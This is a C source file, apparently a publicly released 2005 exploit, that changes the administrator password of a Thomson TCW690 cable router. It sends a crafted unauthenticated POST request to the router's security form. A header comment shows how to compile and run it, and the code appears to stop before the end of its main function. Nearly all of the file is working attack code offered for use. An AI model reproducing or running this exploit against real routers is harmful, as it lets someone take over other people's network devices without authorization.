/*****************************************************************
* Thomson TCW690 POST Password Validation exploit
*
* Tested with hardware version 2.1 and software version ST42.03.0a
* Bug found by: MurDoK <murdok.lnx at gmail.com>
* Date: 02.19.2005
*
* sh-3.00$ gcc mdk_tcw690.c -o tcw690
* sh-3.00$ ./tcw690 192.168.0.1 123
* *****************************************
* c
* Change password exploit coded by MurDoK
* *****************************************
*
* [1] Connecting...
* [2] Sending POST request...
* [3] Done! go to http://192.168.0.1
* sh-3.00$
*
* fuck AUNA :/
******************************************************************/

#include <netdb.h>

int i=0, x=0, fd;
struct sockaddr_in sock;
struct hostent *he;

char badcode[1000] =
"POST /goform/RgSecurity HTTP/1.1\r\n"
"Connection: Keep-Alive\r\n"
"User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.4.28) KHTML/3.3.2 (like Gecko)\r\n"
"Referer: http://192.168.0.1/RgSecurity.asp\r\n"
"Pragma: no-cache\r\n"
"Cache-control: no-cache\r\n"
"Accept: text/html, image/jpeg, image/png, text/*, image/*, */*\r\n"
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate\r\n"
"Accept-Charset: iso-8859-15, utf-8;q=0.5, *;q=0.5\r\n"
"Accept-Language: es, en\r\n"
"Host: 192.168.0.1\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Authorization: Basic\r\n"
"Content-Length: 62\r\n"
"\r\n";
//"Password=hack1&PasswordReEnter=hack1&RestoreFactoryNo=0x00";

int main(int argc, char *argv[]) {

// system("clear");
printf("*****************************************\n");
printf(" Thomson TCW690 POST Password Validation\n");
printf(" Change password exploit coded by MurDoK\n");
printf("*****************************************\n\n");

if(argc<3) {
printf("Usage: %s <router IP> <new_password>\n\n", argv[0]);
exit(1);
}

fd = socket(AF_INET, SOCK_STREAM, 0);

he = gethostbyname(argv[1]);
memset((char *) &sock, 0, sizeof(sock));

sock.sin_family = AF_INET;
sock.sin_port=htons(80);
sock.sin_addr.s_addr=*((unsigned long*)he->h_addr);

printf("[1] Connecting... \n");

if ((connect(fd, (struct sockaddr *) &sock, sizeof(sock))) < 0) {
printf("ERROR: Can't connect to host!\n");
return 0;
}

strcat(badcode, "Password=");
strcat(badcode, argv[2]);
strcat(badcode, "&PasswordReEnter=");
strcat(badcode, argv[2]);
strcat(badcode, "&RestoreFactoryNo=0x00");

printf("[2] Sending POST request...\n");
write(fd, badcode, strlen(badcode));

printf("[3] Done! go to http://%s\n", argv[1]);

close(fd);